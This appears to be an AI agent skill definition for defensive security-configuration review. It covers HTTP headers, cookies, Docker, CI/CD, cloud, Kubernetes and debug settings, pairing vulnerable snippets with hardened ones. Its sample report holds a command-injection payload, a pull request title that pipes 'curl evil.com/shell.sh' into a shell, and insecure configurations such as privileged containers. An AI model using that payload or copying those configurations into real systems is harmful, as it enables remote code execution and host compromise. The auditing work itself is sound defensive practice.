Perseus Config

Perseus Configuration Specialist

Context & Authorization

IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.

Multi-Language & Platform Support

Overview

This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.

When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.

Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.

Engagement Mode Compatibility

Safety Gates (Required)

1. Read deliverables/engagement_profile.md before active infra validation.
2. Default to PRODUCTION_SAFE if engagement mode is missing.
3. Enforce kill-switch thresholds and stop on environment instability.
4. Never modify live infrastructure state without explicit approval.

Configuration Risks Covered

Execution Instructions

Step 0: Mode & Scope Alignment

• Load mode/scope/limits from deliverables/engagement_profile.md.
• Respect deliverables/verification_scope.md when present.
• Keep production checks read-only and non-disruptive.

Phase 1: HTTP Security Headers (3 Parallel Agents)

1. CSP Analyst:

   • "Find Content Security Policy configuration across frameworks."

   Framework-Specific:

   javascriptCopy code
   // Express/Helmet
   app.use(helmet.contentSecurityPolicy({ directives: {...} }));
   
   // Next.js - next.config.js
   headers: [{ key: 'Content-Security-Policy', value: '...' }]
   

   goCopy code
   // Go/Gin
   c.Header("Content-Security-Policy", "default-src 'self'")
   

   pythonCopy code
   # Django
   CSP_DEFAULT_SRC = ("'self'",)
   
   # FastAPI
   response.headers["Content-Security-Policy"] = "..."
   

   phpCopy code
   // Laravel
   header('Content-Security-Policy: default-src \'self\'');
   

2. Security Headers Analyst:

   • "Check for all security headers across languages."

   Headers to Check:

   Header	Purpose	Recommended Value
   Strict-Transport-Security	Force HTTPS	max-age=31536000; includeSubDomains
   X-Frame-Options	Prevent clickjacking	DENY or SAMEORIGIN
   X-Content-Type-Options	Prevent MIME sniffing	nosniff
   Referrer-Policy	Control referrer	strict-origin-when-cross-origin
   Permissions-Policy	Limit browser features	Disable unused features

3. Cookie Security Analyst:

   • "Find all cookie setting operations across languages."

   Patterns:

   javascriptCopy code
   // Express - Check flags
   res.cookie('session', value, { secure: true, httpOnly: true, sameSite: 'strict' });
   

   goCopy code
   // Go
   http.SetCookie(w, &http.Cookie{Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode})
   

   phpCopy code
   // PHP
   setcookie('session', $value, ['secure' => true, 'httponly' => true, 'samesite' => 'Strict']);
   

   pythonCopy code
   # FastAPI/Starlette
   response.set_cookie(key, value, secure=True, httponly=True, samesite='strict')
   

Phase 2: Docker Security Analysis (4 Parallel Agents)

1. Dockerfile Analyst:

   • "Analyze all Dockerfiles for security issues."

   Issues to Find:

   dockerfileCopy code
   # VULNERABLE - Running as root
   FROM node:18
   COPY . .
   CMD ["node", "app.js"]
   
   # SAFE - Non-root user
   FROM node:18
   RUN addgroup -S app && adduser -S app -G app
   USER app
   COPY --chown=app:app . .
   CMD ["node", "app.js"]
   

   Checks:

   • Running as root (no USER directive)
   • Using latest tag
   • Secrets in build args or ENV
   • Unnecessary packages installed
   • No health check
   • Exposed unnecessary ports

2. Docker Compose Analyst:

   • "Analyze docker-compose files for security issues."

   Issues:

   yamlCopy code
   # VULNERABLE
   services:
     app:
       privileged: true          # Container escape
       network_mode: host        # No network isolation
       volumes:
         - /:/host               # Host filesystem access
       cap_add:
         - ALL                   # All capabilities
   
   # SAFE
   services:
     app:
       read_only: true
       security_opt:
         - no-new-privileges:true
       cap_drop:
         - ALL
   

3. Container Secrets Analyst:

   • "Check for secrets in container configurations."

   Patterns:

   dockerfileCopy code
   # VULNERABLE
   ENV DATABASE_PASSWORD=secret123
   ARG API_KEY=sk-xxx
   COPY .env /app/.env
   

4. Image Security Analyst:

   • "Check base image security and update status."

   Checks:

   • Using official images
   • Pinned versions (not latest)
   • Multi-stage builds for smaller attack surface
   • Distroless/Alpine for minimal images

Phase 3: CI/CD Security Analysis (4 Parallel Agents)

1. GitHub Actions Analyst:

   • "Analyze GitHub Actions workflows for security issues."

   Critical Issues:

   yamlCopy code
   # VULNERABLE - Command injection
   - run: echo "${{ github.event.issue.title }}"
   
   # SAFE - Use environment variable
   - run: echo "$TITLE"
     env:
       TITLE: ${{ github.event.issue.title }}
   
   # VULNERABLE - Pull request target with checkout
   on: pull_request_target
   steps:
     - uses: actions/checkout@v4
       with:
         ref: ${{ github.event.pull_request.head.sha }}  # Dangerous!
   
   # VULNERABLE - Secrets in logs
   - run: curl -H "Authorization: ${{ secrets.API_KEY }}" $URL
   

   Checks:

   • Command injection via event data
   • Secrets exposure in logs
   • Overly permissive permissions
   • Using unverified actions
   • pull_request_target misuse

2. GitLab CI Analyst:

   • "Analyze .gitlab-ci.yml for security issues."

   Issues:

   yamlCopy code
   # VULNERABLE
   script:
     - echo $CI_JOB_TOKEN  # Token exposure
     - curl "$USER_INPUT"   # Injection
   
   # Check for:
   # - Unprotected variables
   # - Scripts with user input
   # - Exposed tokens
   

3. Secrets Management Analyst:

   • "Check how secrets are managed in CI/CD."

   Checks:

   • Secrets in workflow files
   • Secrets in repository
   • Secrets passed to forks
   • Secrets in build logs
   • Environment variable exposure

4. Pipeline Permissions Analyst:

   • "Check CI/CD permissions and access controls."

   GitHub Actions Permissions:

   yamlCopy code
   # VULNERABLE - Too permissive
   permissions: write-all
   
   # SAFE - Minimal permissions
   permissions:
     contents: read
     pull-requests: write
   

Phase 4: Cloud Configuration Analysis (4 Parallel Agents)

1. AWS Configuration Analyst:

   • "Analyze AWS configurations for security issues."

   Check Files:

   • *.tf (Terraform)
   • template.yaml (CloudFormation)
   • serverless.yml
   • .aws/ configs

   Issues:

   hclCopy code
   # VULNERABLE - Public S3
   resource "aws_s3_bucket" "data" {
     acl = "public-read"
   }
   
   # VULNERABLE - Open security group
   resource "aws_security_group" "web" {
     ingress {
       from_port   = 0
       to_port     = 65535
       cidr_blocks = ["0.0.0.0/0"]
     }
   }
   
   # VULNERABLE - Hardcoded credentials
   provider "aws" {
     access_key = "AKIA..."
     secret_key = "..."
   }
   

2. GCP/Azure Configuration Analyst:

   • "Analyze GCP and Azure configurations."

   GCP Issues:

   hclCopy code
   # VULNERABLE - Public GCS
   resource "google_storage_bucket_iam_member" "public" {
     member = "allUsers"
     role   = "roles/storage.objectViewer"
   }
   

3. Serverless Configuration Analyst:

   • "Analyze serverless configurations (Vercel, Netlify, AWS Lambda)."

   Check:

   • Environment variables in config
   • Overly permissive IAM roles
   • Public function URLs
   • Missing authentication

4. Infrastructure as Code Analyst:

   • "Check Terraform, Pulumi, Ansible for security issues."

   Terraform Issues:

   hclCopy code
   # VULNERABLE - No encryption
   resource "aws_ebs_volume" "data" {
     encrypted = false
   }
   
   # VULNERABLE - Default VPC
   resource "aws_instance" "web" {
     # No VPC specified, uses default
   }
   

Phase 5: Kubernetes Security Analysis (4 Parallel Agents)

1. Pod Security Analyst:

   • "Analyze Kubernetes pod/deployment manifests."

   Issues:

   yamlCopy code
   # VULNERABLE
   spec:
     containers:
       - name: app
         securityContext:
           privileged: true           # Container escape
           runAsRoot: true            # Root user
           allowPrivilegeEscalation: true
         volumeMounts:
           - mountPath: /host
             name: host-root          # Host filesystem
   
   # SAFE
   spec:
     securityContext:
       runAsNonRoot: true
       runAsUser: 1000
     containers:
       - name: app
         securityContext:
           allowPrivilegeEscalation: false
           readOnlyRootFilesystem: true
           capabilities:
             drop: ["ALL"]
   

2. RBAC Analyst:

   • "Analyze Kubernetes RBAC configurations."

   Issues:

   yamlCopy code
   # VULNERABLE - Cluster admin to all
   apiVersion: rbac.authorization.k8s.io/v1
   kind: ClusterRoleBinding
   subjects:
     - kind: ServiceAccount
       name: default
   roleRef:
     kind: ClusterRole
     name: cluster-admin
   

3. Network Policy Analyst:

   • "Check Kubernetes network policies."

   Issues:

   • No network policies (all pods can communicate)
   • Overly permissive ingress/egress
   • Missing pod selectors

4. Secrets & ConfigMap Analyst:

   • "Analyze Kubernetes secrets management."

   Issues:

   yamlCopy code
   # VULNERABLE - Plain text secret
   apiVersion: v1
   kind: Secret
   data:
     password: cGFzc3dvcmQ=  # Base64, not encryption!
   
   # Check for:
   # - Secrets in ConfigMaps
   # - Unencrypted secrets
   # - Secrets mounted as environment variables
   # - Missing RBAC on secrets
   

Phase 6: Application Configuration (3 Parallel Agents)

1. Debug Mode Analyst:

   • "Check for debug/development mode in production configs."

   Patterns:

   javascriptCopy code
   // Node.js
   DEBUG = true
   NODE_ENV = 'development'
   

   pythonCopy code
   # Django
   DEBUG = True
   # Flask
   app.run(debug=True)
   

   phpCopy code
   // Laravel
   APP_DEBUG=true
   

   goCopy code
   // Go
   gin.SetMode(gin.DebugMode)
   

2. Error Handling Analyst:

   • "Check error responses for information disclosure."

3. Environment Variables Analyst:

   • "Check .env files and environment variable handling."

   Issues:

   • .env files in repository
   • Secrets in .env.example
   • Missing .env in .gitignore
   • Secrets logged

Output Requirements

Create deliverables/config_security_analysis.md:

markdownCopy code
# Security Configuration Analysis

## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |

## Technologies Detected
- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS

## Critical Findings

### [CONFIG-001] GitHub Actions Command Injection
**Severity:** Critical
**Location:** `.github/workflows/pr.yml:23`

**Vulnerable Code:**
```yaml
- run: |
    echo "PR Title: ${{ github.event.pull_request.title }}"

Attack: Attacker creates PR with title: "; curl evil.com/shell.sh | sh #

Remediation:

yamlCopy code
- run: echo "PR Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

[CONFIG-002] Privileged Docker Container

Severity: Critical Location: docker-compose.yml:15

Vulnerable Code:

yamlCopy code
services:
  app:
    privileged: true

Impact: Container escape, host compromise

[CONFIG-003] Public S3 Bucket

Severity: Critical Location: terraform/storage.tf:8

Docker Security Checklist

CI/CD Security Checklist

Kubernetes Security Checklist

Cloud Security Checklist

Recommendations

Immediate Actions

1. Fix GitHub Actions command injection
2. Remove privileged mode from containers
3. Make S3 bucket private
4. Add USER directive to Dockerfile

Security Hardening

yamlCopy code
# Recommended Kubernetes securityContext
securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop: ["ALL"]

yamlCopy code
# Recommended GitHub Actions permissions
permissions:
  contents: read
  pull-requests: write

Copy code

**Next Step:** Configuration issues are typically binary (secure or not) and don't require exploit verification.